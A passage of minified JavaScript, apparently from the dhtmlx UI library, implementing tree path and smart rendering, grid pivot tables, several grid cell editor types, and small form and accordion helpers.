c=0;c<b._paths.length;c++){b._clearPath(b._paths[c]);b._renderPath(b._paths[c])}});this.attachEvent(\"onXLE\",function(e){var d=dhx4.ajax.xpath(\"//pathend\",e);var h=dhx4.ajax.xpath(\"//pathstart\",e);var g={};for(var f=0;f<h.length;f++){g[h[f].getAttribute(\"id\")]=h[f]}for(var f=0;f<h.length;f++){var c=d[f].parentNode;var j=g[d[f].getAttribute(\"id\")];this.addPath(j.parentNode.getAttribute(\"id\"),c.getAttribute(\"id\"),{color:j.getAttribute(\"color\"),mode:j.getAttribute(\"mode\"),width:j.getAttribute(\"width\")},j.getAttribute(\"id\"))}});if(a){this._halfHeight=a}else{if(this._idpull[0].childsCount){this._halfHeight=Math.floor(this._idpull[0].childNodes[0].span.parentNode.offsetHeight/2)}}if(!this._halfHeight){this._halfHeight=9}this.activatePaths=function(){}};dhtmlXTreeObject.prototype._clearPath=function(c){for(var b=c.path.length-1;b>0;b--){var a=c.path[b];if(a._html){a._html.parentNode.removeChild(a._html)}a._html=null}};dhtmlXTreeObject.prototype._renderPath=function(g){var k=this._idpull[g.path[g.path.length-1].from].span.parentNode.parentNode;var f=(_isIE?9:8)+this._halfHeight;var e=(_isIE?27:27);while(k.offsetParent!=this.allTree){f+=k.offsetTop;e+=k.offsetLeft;k=k.offsetParent}for(var b=g.path.length-1;b>0;b--){var a=g.path[b];var h=document.createElement(\"div\");if(!this._idpull[a.to].tr.offsetHeight){return}var j=this._idpull[a.to].tr.offsetTop;h.style.cssText=\"position:absolute; z-index:1; width:\"+(_isIE?10:8)+\"px; height:\"+(j-9)+\"px; left:\"+e+\"px; top:\"+f+\"px;\"+a.style;f+=j;e+=18;this.allTree.appendChild(h);a._html=h}};dhtmlXTreeObject.prototype.deletePath=function(c){var b=this._pathspull[c];if(b){this._clearPath(b);delete this._pathspull[c];for(var a=0;a<this._paths.length;a++){if(this._paths[a]==b){return this._paths.splice(a,1)}}}};dhtmlXTreeObject.prototype.deleteAllPaths=function(b){for(var a=this._paths.length-1;a>=0;a--){this.deletePath(this._paths[a].id)}};dhtmlXTreeObject.prototype._paths=[];dhtmlXTreeObject.prototype._pathspull={};dhtmlXTreeObject.prototype.enableSmartRendering=function(){this.enableSmartXMLParsing(true);this._srnd=true;this.itemHeight=18;var a=this;this.allTree.onscroll=function(){if(a._srndT){return}a._srndT=window.setTimeout(function(){a._srndT=null;a._renderState()},300)};this.attachEvent(\"onXLE\",function(){a._renderState()});this._singleTimeSRND()};dhtmlXTreeObject.prototype._renderState=function(){if(!this._idpull[this.rootId]._sready){this.prepareSR(this.rootId,true)}var b=this.allTree.scrollTop;var c=Math.floor(b/this.itemHeight);var a=Math.ceil(this.allTree.offsetHeight/this.itemHeight);this._group_render=true;this._getItemByPos(b,this.itemHeight,a,null,false,this._renderItemSRND);this._group_render=false};dhtmlXTreeObject.prototype._renderItemSRND=function(k,j){if(!k.span){k.span=-1;var f=k.parentObject.htmlNode.childNodes[0].childNodes;var e=j*this.itemHeight;var l=null;for(var c=1;c<f.length;c++){l=f[c];var g=l.nodem?this.itemHeight:(l.offsetHeight||parseInt(l.childNodes[1].firstChild.style.height));e-=g;if(e<0){if(e==-1){e++;continue}var d=l.childNodes[1].firstChild;d.style.height=(parseInt(d.style.height)-(g-Math.abs(e)+this.itemHeight))+\"px\";if(Math.abs(e)!=g){var n=this._drawNewHolder(e+g,true);l.parentNode.insertBefore(n,l)}l.tr={nextSibling:l};break}}if(d&&d.style.height!=\"0px\"&&!l.offsetHeight){var m=this._hAdI;this._hAdI=true}this._parseItem(k._sxml,k.parentObject,null,l);if(d&&d.style.height!=\"0px\"&&!l.offsetHeight){this._hAdI=m}if(k.unParsed){this._correctPlus(k)}if(d&&d.style.height==\"0px\"){l.parentNode.removeChild(l)}}};dhtmlXTreeObject.prototype._buildSRND=function(b,a){if(b.parentObject){this._globalIdStorageFind(b.parentObject.id)}if(!this._idpull[this.rootId]._sready){this.prepareSR(this.rootId,true)}this._renderItemSRND(b,this._getIndex(b));if((b.unParsed)&&(!a)){this.reParse(b,0)}if(!b.prepareSR){this.prepareSR(b.id)}};dhtmlXTreeObject.prototype._getIndex=function(c){for(var b=0;b<c.parentObject.childsCount;b++){if(c.parentObject.childNodes[b]==c){return b}}};dhtmlXTreeObject.prototype.prepareSR=function(a,c){a=this._idpull[a];if(a._sready){return}var b=this._drawNewHolder(this.itemHeight*a.childsCount,c);a.htmlNode.childNodes[0].appendChild(b);a._sready=true};dhtmlXTreeObject.prototype._drawNewHolder=function(e,g){var d=document.createElement(\"TR\");var a=document.createElement(\"TD\");var c=document.createElement(\"TD\");var f=document.createElement(\"DIV\");f.innerHTML=\"&nbsp;\";a.appendChild(f);d.appendChild(c);d.appendChild(a);if(!g){d.style.display=\"none\"}f.style.height=e+\"px\";return d};dhtmlXTreeObject.prototype._getNextNodeSR=function(a,b){if((!b)&&(a.childsCount)){return a.childNodes[0]}if(a==this.htmlNode){return -1}if((a.tr)&&(a.tr.nextSibling)&&(a.tr.nextSibling.nodem)){return a.tr.nextSibling.nodem}return this._getNextNode(a.parentObject,true)};dhtmlXTreeObject.prototype._getItemByPos=function(k,e,b,d,a,g){if(!d){this._pos_c=k;d=this._idpull[this.rootId]}for(var c=0;c<d.childsCount;c++){this._pos_c-=e;if(this._pos_c<=0){a=true}if(a){g.apply(this,[d.childNodes[c],c]);b--}if(b<0){return b}if(d.childNodes[c]._open){b=this._getItemByPos(null,e,b,d.childNodes[c],a,g);if(b<0){return b}}}return b};dhtmlXTreeObject.prototype._addItemSRND=function(b,f,e){var c=this._idpull[b];var a=c.childsCount;var d=c.childNodes;d[a]=new dhtmlXTreeItemObject(f,\"\",c,this,null,1);itemId=d[a].id;d[a]._sxml=e.clone();c.childsCount++};dhtmlXTreeObject.prototype._singleTimeSRND=function(){this._redrawFrom=function(){};var a=dhtmlXTreeItemObject;this._singleTimeSRND=function(){};window.dhtmlXTreeItemObject=function(g,c,d,b,e,f){if(!b._srnd){return a.call(this,g,c,d,b,e,f)}this.htmlNode=\"\";this.acolor=\"\";this.scolor=\"\";this.tr=0;this.childsCount=0;this.tempDOMM=0;this.tempDOMU=0;this.dragSpan=0;this.dragMove=0;this.span=0;this.closeble=1;this.childNodes=new Array();this.userData=new cObject();this.checkstate=0;this.treeNod=b;this.label=c;this.parentObject=d;this.actionHandler=e;this.images=new Array(b.imageArray[0],b.imageArray[1],b.imageArray[2]);this.id=b._globalIdStorageAdd(g,this);if(g==b.rootId){if(this.treeNod.checkBoxOff){this.htmlNode=this.treeNod._createItem(1,this,f)}else{this.htmlNode=this.treeNod._createItem(0,this,f)}this.htmlNode.objBelong=this}return this};this.setCheckSR=this.setCheck;this.setCheck=function(c,b){this._globalIdStorageFind(c);return this.setCheckSR(c,b)};this._get_srnd_p=function(e){var d=[];while(e!=this.rootId){var b=this.getParentId(e);for(var c=0;c<this._idpull[b].childsCount;c++){if(this._idpull[b].childNodes[c].id==e){d.push([b,c]);break}}e=b}d.reverse();return d};this._get_srnd_p_last=function(f,d,b){d=d||[];var e=0;while(true){var c=this._idpull[f];if(c._sxml&&this.findStrInXML(c._sxml.d,\"text\",b)){this._globalIdStorageFind(c.id)}var e=c.childsCount;if(!e){break}d.push([f,e-1]);f=c.childNodes[e-1].id}return d};this._get_prev_srnd=function(e,b){var c;if(!e.length){e.push.apply(e,this._get_srnd_p_last(this.rootId,null,b));c=e[e.length-1];return this._idpull[c[0]].childNodes[c[1]]}c=e[e.length-1];if(c[1]){c[1]--;var d=this._idpull[c[0]].childNodes[c[1]];this._get_srnd_p_last(d.id,e,b);var c=e[e.length-1];return this._idpull[c[0]].childNodes[c[1]]}else{e.pop();if(!e.length){return this._get_prev_srnd(e,b)}var c=e[e.length-1];return this._idpull[c[0]].childNodes[c[1]]}};this._get_next_srnd=function(e,c){if(!e.length){e.push([this.rootId,0]);return this._idpull[this.rootId].childNodes[0]}var b=e[e.length-1];var d=this._idpull[b[0]].childNodes[b[1]];if(d.childsCount&&!c){e.push([d.id,0]);return d.childNodes[0]}b[1]++;var d=this._idpull[b[0]].childNodes[b[1]];if(d){return d}e.pop();if(!e.length){return this.htmlNode}return this._get_next_srnd(e,true)};this._findNodeByLabel=function(b,f,d){var b=b.replace(new RegExp(\"^( )+\"),\"\").replace(new RegExp(\"( )+$\"),\"\");b=new RegExp(b.replace(/([\\*\\+\\\\\\[\\]\\(\\)]{1})/gi,\"\\\\$1\").replace(/ /gi,\".*\"),\"gi\");if(!d){d=this._selected[0];if(!d){d=this.htmlNode}}var c=d;var e=this._get_srnd_p(c.id);while(d=(f?this._get_prev_srnd(e,b):this._get_next_srnd(e))){if(d.label){if(d.label.search(b)!=-1){return d}}else{if(d._sxml){if(d._sxml.get(\"text\").search(b)!=-1){return d}if(this.findStrInXML(d._sxml.d,\"text\",b)){this._globalIdStorageFind(d.id)}}}if((d.unParsed)&&(this.findStrInXML(d.unParsed.d,\"text\",b))){this.reParse(d)}if(c.id==d.id){break}if(f&&e.length==1&&e[0][1]==0){break}}return null};this.deleteChildItems=function(b){if(this.rootId==b){this._selected=new Array();this._idpull={};this._p=this._pos_c=this._pullSize=null;this.allTree.removeChild(this.htmlNode.htmlNode);this.htmlNode=new dhtmlXTreeItemObject(this.rootId,\"\",0,this);this.htmlNode.htmlNode.childNodes[0].childNodes[0].style.display=\"none\";this.htmlNode.htmlNode.childNodes[0].childNodes[0].childNodes[0].className=\"hiddenRow\";this.allTree.insertBefore(this.htmlNode.htmlNode,this.selectionBar);if(_isFF){this.allTree.childNodes[0].width=\"100%\";this.allTree.childNodes[0].style.overflow=\"hidden\"}}};this._HideShow=function(c,g){if((this.XMLsource)&&(!c.XMLload)){if(g==1){return}c.XMLload=1;this._loadDynXML(c.id);return}if(!c.span){this._buildSRND(c)}if(c.unParsed){this.reParse(c);this.prepareSR(c.id)}if(c.childsCount==0){return}var f=c.htmlNode.childNodes[0].childNodes;var b=f.length;if(b>1){if(((f[1].style.display!=\"none\")||(g==1))&&(g!=2)){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\";var e=\"none\";c._open=false}else{var e=\"\";c._open=true}for(var d=1;d<b;d++){f[d].style.display=e}this._renderState()}this._correctPlus(c)}};dhtmlXGridObject.prototype.hidePivot=function(a){if(this._pgridCont){if(this._pgrid){this._pgrid.destructor()}var b=this._pgridCont.parentNode;b.innerHTML=\"\";if(b.parentNode==this.entBox){this.entBox.removeChild(b)}this._pgrid=this._pgridSelect=this._pUNI=this._pgridCont=null}};dhtmlXGridObject.prototype.makePivot=function(j,a){a=a||{};this.hidePivot();if(!j){var j=document.createElement(\"DIV\");j.style.cssText=\"position:absolute; top:0px; left:0px;background-color:white;\";j.style.height=this.entBox.offsetHeight+\"px\";j.style.width=this.entBox.offsetWidth+\"px\";if(this.entBox.style.position!=\"absolute\"){this.entBox.style.position=\"relative\"}this.entBox.appendChild(j)}if(typeof(j)!=\"object\"){j=document.getElementById(j)}if(a.column_list){this._column_list=a.column_list}else{this._column_list=[];for(var g=0;g<this.hdr.rows[1].cells.length;g++){this._column_list.push(this.hdr.rows[1].cells[g][_isIE?\"innerText\":\"textContent\"])}}var h=this;j.innerHTML=\"<table cellspacing='0' cellpadding='0'><tr><td style='width:160px' align='center'></td><td>&nbsp;&nbsp;&nbsp;</td><td></td></tr></table><div></div>\";var f=this.makePivotSelect(this._column_list);f.style.width=\"80px\";f.onchange=function(){if(this.value!=-1){h._pivotS.value=this.value}else{h._pivotS.value=\"\"}h._reFillPivotLists();h._renderPivot2()};var e=this.makePivotSelect(this._column_list);e.onchange=function(){if(this.value!=-1){h._pivotS.x=this.value}else{h._pivotS.x=\"\"}h._reFillPivotLists();h._renderPivot()};var d=this.makePivotSelect(this._column_list);d.onchange=function(){if(this.value!=-1){h._pivotS.y=this.value}else{h._pivotS.y=\"\"}h._reFillPivotLists();h._renderPivot()};var c=this.makePivotSelect([\"Sum\",\"Min\",\"Max\",\"Average\",\"Count\"],-1);c.style.width=\"70px\";c.onchange=function(){if(this.value!=-1){h._pivotS.action=this.value}else{h._pivotS.action=null}h._renderPivot2()};if(a.readonly){f.disabled=e.disabled=d.disabled=c.disabled=true}j.firstChild.rows[0].cells[0].appendChild(c);j.firstChild.rows[0].cells[0].appendChild(f);j.firstChild.rows[0].cells[2].appendChild(e);var b=j.childNodes[1];b.style.width=j.offsetWidth+\"px\";b.style.height=j.offsetHeight-20+\"px\";b.style.overflow=\"hidden\";this._pgridCont=b;this._pgridSelect=[f,e,d,c];this._pData=this._fetchPivotData();this._pUNI=[];this._pivotS={action:(a.action||\"0\"),value:(typeof a.value!=\"undefined\"?(a.value||\"0\"):null),x:(typeof a.x!=\"undefined\"?(a.x||\"0\"):null),y:(typeof a.y!=\"undefined\"?(a.y||\"0\"):null)};f.value=this._pivotS.value;e.value=this._pivotS.x;d.value=this._pivotS.y;c.value=this._pivotS.action;h._reFillPivotLists();this._renderPivot()};dhtmlXGridObject.prototype._fetchPivotData=function(){var e=[];for(var b=0;b<this._cCount;b++){var c=[];for(var a=0;a<this.rowsCol.length;a++){if(this.rowsCol[a]._cntr){continue}c.push(this.cells2(a,b).getValue())}e.push(c)}return e};dhtmlXGridObject.prototype._renderPivot=function(){if(_isIE){this._pgridSelect[2].removeNode(true)}if(this._pgrid){this._pgrid.destructor()}this._pgrid=new dhtmlXGridObject(this._pgridCont);this._pgrid.setImagePath(this.imgURL);this._pgrid.attachEvent(\"onBeforeSelect\",function(){return false});if(this._pivotS.x){var a=this._getUniList(this._pivotS.x);var d=[160];for(var c=0;c<a.length;c++){d.push(100)}a=[\"\"].concat(a);this._pgrid.setHeader(a);this._pgrid.setInitWidths(d.join(\",\"))}else{this._pgrid.setHeader(\"\");this._pgrid.setInitWidths(\"160\")}this._pgrid.init();this._pgrid.setEditable(false);this._pgrid.setSkin(this.entBox.className.replace(\"gridbox gridbox_\",\"\"));var b=this._pgrid.hdr.rows[1].cells[0];if(b.firstChild&&b.firstChild.tagName==\"DIV\"){b=b.firstChild}b.appendChild(this._pgridSelect[2]);this._pgrid.setSizes();if(this._pivotS.y){var a=this._getUniList(this._pivotS.y);for(var c=0;c<a.length;c++){this._pgrid.addRow(this._pgrid.uid(),[a[c]],-1)}}else{this._pgrid.addRow(1,\"not ready\",1)}this._renderPivot2()};dhtmlXGridObject.prototype._pivot_action_0=function(n,m,l,d,o,j){var k=0;var g=j[n];var f=j[m];var e=j[l];for(var h=g.length-1;h>=0;h--){if(g[h]==d&&f[h]==o){k+=this.parseFloat(e[h])}}return k};dhtmlXGridObject.prototype._pivot_action_1=function(m,l,k,d,n,j){ret=9999999999;var g=j[m];var f=j[l];var e=j[k];for(var h=g.length-1;h>=0;h--){if(g[h]==d&&f[h]==n){ret=Math.min(this.parseFloat(e[h]),ret)}}if(ret==9999999999){ret=\"\"}return ret};dhtmlXGridObject.prototype._pivot_action_2=function(m,l,k,d,n,j){ret=-9999999999;var g=j[m];var f=j[l];var e=j[k];for(var h=g.length-1;h>=0;h--){if(g[h]==d&&f[h]==n){ret=Math.max(this.parseFloat(e[h]),ret)}}if(ret==-9999999999){ret=\"\"}return ret};dhtmlXGridObject.prototype._pivot_action_3=function(o,n,m,d,p,j){var l=0;var k=0;var g=j[o];var f=j[n];var e=j[m];for(var h=g.length-1;h>=0;h--){if(g[h]==d&&f[h]==p){l+=this.parseFloat(e[h]);k++}}return k?l/k:\"\"};dhtmlXGridObject.prototype._pivot_action_4=function(o,n,m,d,p,j){var l=0;var k=0;var g=j[o];var f=j[n];var e=j[m];for(var h=g.length-1;h>=0;h--){if(g[h]==d&&f[h]==p){l++}}return l};dhtmlXGridObject.prototype.parseFloat=function(a){a=parseFloat(a);if(isNaN(a)){return 0}return a};dhtmlXGridObject.prototype._renderPivot2=function(){if(!(this._pivotS.x&&this._pivotS.y&&this._pivotS.value&&this._pivotS.action)){return}var d=this[\"_pivot_action_\"+this._pivotS.action];var a=this._getUniList(this._pivotS.x);var e=this._getUniList(this._pivotS.y);for(var c=0;c<a.length;c++){for(var b=0;b<e.length;b++){this._pgrid.cells2(b,c+1).setValue(Math.round(d(this._pivotS.x,this._pivotS.y,this._pivotS.value,a[c],e[b],this._pData)*100)/100)}}};dhtmlXGridObject.prototype._getUniList=function(c){if(!this._pUNI[c]){var e={};var b=[];for(var d=this._pData[c].length-1;d>=0;d--){e[this._pData[c][d]]=true}for(var f in e){if(e[f]===true){b.push(f)}}this._pUNI[c]=b.sort()}return this._pUNI[c]};dhtmlXGridObject.prototype._fillPivotList=function(e,d,c,a){if(!c){c={};a=-1}e.innerHTML=\"\";e.options[e.options.length]=new Option(\"-select-\",-1);for(var b=0;b<d.length;b++){if(c[b]||d[b]===null){continue}e.options[e.options.length]=new Option(d[b],b)}e.value=parseInt(a)};dhtmlXGridObject.prototype._reFillPivotLists=function(){var e=[];var b=[];for(var d=0;d<3;d++){e.push(this._pgridSelect[d]);b.push(e[d].value)}var c=this._reFfillPivotLists;var a={};a[b[1]]=a[b[2]]=true;this._fillPivotList(e[0],this._column_list,a,b[0]);a={};a[b[0]]=a[b[2]]=true;this._fillPivotList(e[1],this._column_list,a,b[1]);a={};a[b[1]]=a[b[0]]=true;this._fillPivotList(e[2],this._column_list,a,b[2]);this._reFfillPivotLists=c};dhtmlXGridObject.prototype.makePivotSelect=function(b,a){var c=document.createElement(\"SELECT\");this._fillPivotList(c,b,a);c.style.cssText=\"width:150px; height:20px; font-family:Tahoma; font-size:8pt; font-weight:normal;\";return c};function eXcell_dec(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){return parseFloat(this.cell.innerHTML.replace(/,/g,\"\"))};this.setValue=function(h){var f=\"0,000.00\";if(h==\"0\"){this.setCValue(f.replace(/.*(0\\.[0]+)/,\"$1\"),h);return}var g=f.substr(f.indexOf(\".\")+1).length;h=Math.round(h*Math.pow(10,g)).toString();var b=\"\";var d=0;var e=false;for(var c=h.length-1;c>=0;c--){d++;b=h.charAt(c)+b;if(!e&&d==g){b=\".\"+b;d=0;e=true}if(e&&d==3&&c!=0&&h.charAt(c-1)!=\"-\"){b=\",\"+b;d=0}}this.setCValue(b,h)}}eXcell_dec.prototype=new eXcell_ed;function eXcell_cor(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.combo=this.grid.getCombo(this.cell._cellIndex);this.editable=true}this.shiftNext=function(){var b=this.list.options[this.list.selectedIndex+1];if(b){b.selected=true}this.obj.value=this.list.value;return true};this.shiftPrev=function(){var b=this.list.options[this.list.selectedIndex-1];if(b){b.selected=true}this.obj.value=this.list.value;return true};this.edit=function(){this.val=this.getValue();this.text=this.cell.innerHTML._dhx_trim();var d=this.grid.getPosition(this.cell);this.obj=document.createElement(\"TEXTAREA\");this.obj.className=\"dhx_combo_edit\";this.obj.style.height=(this.cell.offsetHeight-4)+\"px\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(g){(g||event).cancelBubble=true};this.obj.value=this.text;this.list=document.createElement(\"SELECT\");this.list.editor_obj=this;this.list.className=\"dhx_combo_select\";this.list.style.width=this.cell.offsetWidth+\"px\";this.list.style.left=d[0]+\"px\";this.list.style.top=d[1]+this.cell.offsetHeight+\"px\";this.list.onclick=function(i){var h=i||window.event;var g=h.target||h.srcElement;if(g.tagName==\"OPTION\"){g=g.parentNode}if(g.value!=-1){g.editor_obj._byClick=true;g.editor_obj.editable=false;g.editor_obj.grid.editStop()}else{h.cancelBubble=true;g.editor_obj.obj.value=\"\";g.editor_obj.obj.focus()}};var b=this.combo.getKeys();var f=0;this.list.options[0]=new Option(this.combo.get(b[0]),b[0]);this.list.options[0].selected=true;for(var c=1;c<b.length;c++){var e=this.combo.get(b[c]);this.list.options[this.list.options.length]=new Option(e,b[c]);if(b[c]==this.val){f=this.list.options.length-1}}document.body.appendChild(this.list);this.list.size=\"6\";this.cstate=1;if(this.editable){this.cell.innerHTML=\"\"}else{this.obj.style.width=\"1px\";this.obj.style.height=\"1px\"}this.cell.appendChild(this.obj);this.list.options[f].selected=true;if(this.editable){this.obj.focus();this.obj.focus()}if(!this.editable){this.obj.style.visibility=\"hidden\"}};this.getValue=function(){return((this.cell.combo_value==window.undefined)?\"\":this.cell.combo_value)};this.getText=function(){return this.cell.innerHTML};this.getState=function(){return{prev:this.cell.__prev,now:this.cell.__now}};this.detach=function(){if(this.val!=this.getValue()){this.cell.wasChanged=true}if(this.list.parentNode!=null){if((this.obj.value._dhx_trim()!=this.text)||(this._byClick)){var b=this.list.value;if(!this._byClick){this.combo.values[this.combo.keys._dhx_find(b)]=this.obj.value}this.setValue(b)}else{this.setValue(this.val)}}if(this.list.parentNode){this.list.parentNode.removeChild(this.list)}if(this.obj.parentNode){this.obj.parentNode.removeChild(this.obj)}return this.val!=this.getValue()}}eXcell_cor.prototype=new eXcell;eXcell_cor.prototype.setValue=function(b){if((b||\"\").toString()._dhx_trim()==\"\"){b=null}var a=this.grid.getCombo(this.cell._cellIndex).get(b);if((b==-1)&&(a==\"\")){this.combo.values[this.combo.keys._dhx_find(-1)]=\"Create new value\";b=null}if(b!==null){this.setCValue(a,b)}else{this.setCValue(\"&nbsp;\",b)}this.cell.__prev=this.cell.__now;this.cell.__now={key:b,value:a};this.cell.combo_value=b};function eXcell_wbut(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.edit=function(){var h=this.getValue().toString();this.obj=document.createElement(\"INPUT\");this.obj.readOnly=true;this.obj.style.width=\"60px\";this.obj.style.height=(this.cell.offsetHeight-(this.grid.multiLine?5:4))+\"px\";this.obj.style.border=\"0px\";this.obj.style.margin=\"0px\";this.obj.style.padding=\"0px\";this.obj.style.overflow=\"hidden\";this.obj.style.fontSize=_isKHTML?\"10px\":\"12px\";this.obj.style.fontFamily=\"Arial\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(i){(i||event).cancelBubble=true};this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);this.obj.onselectstart=function(i){if(!i){i=event}i.cancelBubble=true;return true};this.obj.style.textAlign=this.cell.align;this.obj.value=h;this.obj.focus();this.obj.focus();this.cell.appendChild(document.createTextNode(\" \"));var e=document.createElement(\"input\");if(_isIE){e.style.height=(this.cell.offsetHeight-(this.grid.multiLine?5:4))+\"px\";e.style.lineHeight=\"5px\"}else{e.style.fontSize=\"8px\";e.style.width=\"10px\";e.style.marginTop=\"-5px\"}e.type=\"button\";e.name=\"Lookup\";e.value=\"...\";var f=this.obj;var b=this.cell.cellIndex;var d=this.cell.parentNode.idd;var g=this.grid;var c=this;this.dhx_m_func=this.grid.getWButFunction(this.cell._cellIndex);e.onclick=function(i){c.dhx_m_func(c,c.cell.parentNode.idd,c.cell._cellIndex,h)};this.cell.appendChild(e)};this.detach=function(){this.setValue(this.obj.value);return this.val!=this.getValue()}}eXcell_wbut.prototype=new eXcell;dhtmlXGridObject.prototype.getWButFunction=function(a){if(this._wbtfna){return this._wbtfna[a]}else{return(function(){})}};dhtmlXGridObject.prototype.setWButFunction=function(a,b){if(!this._wbtfna){this._wbtfna=new Array()}this._wbtfna[a]=b};function eXcell_passw(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.cell.innerHTML=\"\";this.cell.atag=\"INPUT\";this.val=this.getValue();this.obj=document.createElement(this.cell.atag);this.obj.style.height=(this.cell.offsetHeight-(_isIE?6:4))+\"px\";this.obj.className=\"dhx_combo_edit\";this.obj.type=\"password\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(b){(b||event).cancelBubble=true};this.obj.onmousedown=function(b){(b||event).cancelBubble=true};this.obj.value=this.cell._rval||\"\";this.cell.appendChild(this.obj);if(_isFF){this.obj.style.overflow=\"visible\";if((this.grid.multiLine)&&(this.obj.offsetHeight>=18)&&(this.obj.offsetHeight<40)){this.obj.style.height=\"36px\";this.obj.style.overflow=\"scroll\"}}this.obj.onselectstart=function(b){if(!b){b=event}b.cancelBubble=true;return true};this.obj.focus();this.obj.focus()};this.getValue=function(){return this.cell._rval};this.setValue=function(c){var b=\"*****\";this.cell.innerHTML=b;this.cell._rval=c};this.detach=function(){this.setValue(this.obj.value);return this.val!=this.getValue()}}eXcell_passw.prototype=new eXcell;function eXcell_num(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(b){}this.edit=function(){this.val=this.getValue();this.obj=document.createElement(_isKHTML?\"INPUT\":\"TEXTAREA\");this.obj.className=\"dhx_combo_edit\";this.obj.style.height=(this.cell.offsetHeight-4)+\"px\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(c){(c||event).cancelBubble=true};this.obj.value=this.val;this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);this.obj.onselectstart=function(c){if(!c){c=event}c.cancelBubble=true;return true};this.obj.focus();this.obj.focus()};this.getValue=function(){if((this.cell.firstChild)&&(this.cell.firstChild.tagName==\"TEXTAREA\")){return this.cell.firstChild.value}else{return this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex)}};this.setValue=function(d){var c=new RegExp(\"[a-z]|[A-Z]\",\"i\");if(d.match(c)){d=\"&nbsp;\"}this.cell.innerHTML=d};this.detach=function(){var c=this.obj.value;this.setValue(c);return this.val!=this.getValue()}}eXcell_num.prototype=new eXcell;function eXcell_mro(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.edit=function(){}}eXcell_mro.prototype=new eXcell;eXcell_mro.prototype.getValue=function(){return this.cell.childNodes[0].innerHTML._dhx_trim()};eXcell_mro.prototype.setValue=function(a){if(!this.cell.childNodes.length){this.cell.style.whiteSpace=\"normal\";this.cell.innerHTML=\"<div style='height:100%; white-space:nowrap; overflow:hidden;'></div>\"}if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp;\"}this.cell.childNodes[0].innerHTML=a};function eXcell_liveedit(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.cell.inputObj.focus();this.cell.inputObj.focus()};this.detach=function(){this.setValue(this.cell.inputObj.value)};this.getValue=function(){return this.cell.inputObj?this.cell.inputObj.value:\"\"};this.destructor=function(){};this.onFocus=function(){var b=this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex]);if(b===false){this.cell.inputObj.blur()}};this.onBlur=function(){var b=this.grid.callEvent(\"onEditCell\",[2,this.cell.parentNode.idd,this.cell._cellIndex]);this.detach()};this.onChange=function(){var b=this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,this.cell.inputObj.value]);this.detach()}}eXcell_liveedit.prototype=new eXcell_ed;eXcell_liveedit.prototype.setValue=function(b){var a=this;this.cell.innerHTML='<input type=\"text\" value=\"\" style=\"width:100%;\" />';this.cell.inputObj=this.cell.firstChild;this.cell.inputObj=this.cell.firstChild;this.cell.inputObj.value=b;this.cell.inputObj.onfocus=function(){a.onFocus()};this.cell.inputObj.onblur=function(){a.onFocus()};this.cell.inputObj.onchange=function(){a.onChange()}};if(window.eXcell_math){eXcell_liveedit.prototype.setValueA=eXcell_liveedit.prototype.setValue;eXcell_liveedit.prototype.setValue=eXcell_math.prototype._NsetValue}function eXcell_limit(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.cell.atag=((!this.grid.multiLine)&&(_isKHTML||_isMacOS||_isFF))?\"INPUT\":\"TEXTAREA\";this.val=this.getValue();this.obj=document.createElement(this.cell.atag);this.obj.style.height=(this.cell.offsetHeight-(_isIE?6:4))+\"px\";this.obj.className=\"dhx_combo_edit\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(b){(b||event).cancelBubble=true};this.obj.onmousedown=function(b){(b||event).cancelBubble=true};this.obj.value=this.val;this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);if(_isFF){this.obj.style.overflow=\"visible\";if((this.grid.multiLine)&&(this.obj.offsetHeight>=18)&&(this.obj.offsetHeight<40)){this.obj.style.height=\"36px\";this.obj.style.overflow=\"scroll\"}}this.obj.onkeypress=function(b){if(this.value.length>=15){return false}};this.obj.onselectstart=function(b){if(!b){b=event}b.cancelBubble=true;return true};this.obj.focus();this.obj.focus()};this.getValue=function(){if((this.cell.firstChild)&&((this.cell.atag)&&(this.cell.firstChild.tagName==this.cell.atag))){return this.cell.firstChild.value}else{return this.cell.innerHTML.toString()._dhx_trim()}};this.setValue=function(b){if(b.length>15){this.cell.innerHTML=b.substring(0,14)}else{this.cell.innerHTML=b}};this.detach=function(){this.setValue(this.obj.value);return this.val!=this.getValue()}}eXcell_limit.prototype=new eXcell;dhtmlXForm.prototype.getItemsList=function(){var d=[];var c=[];for(var b in this.itemPull){var e=null;if(this.itemPull[b]._group){e=this.itemPull[b]._group}else{e=b.replace(this.idPrefix,\"\")}if(c[e]!=true){d.push(e)}c[e]=true}return d};dhtmlXForm.prototype.setItemText=function(){this.setItemLabel.apply(this,arguments)};dhtmlXForm.prototype.getItemText=function(){return this.getItemLabel.apply(this,arguments)};dhtmlXForm.prototype.loadStructString=function(b,a){this.loadStruct(b,a)};dhtmlXAccordion.prototype.setEffect=function(a){};dhtmlXAccordion.prototype.setIcon=function(b,a){this.cells(b).setIcon(a)};dhtmlXAccordion.prototype.clearIcon=function(a){this.cells(a).clearIcon()};dhtmlXAccordion.prototype.setActive=function(a){this.cells(a).open()};dhtmlXAccordion.prototype.isActive=function(a){return 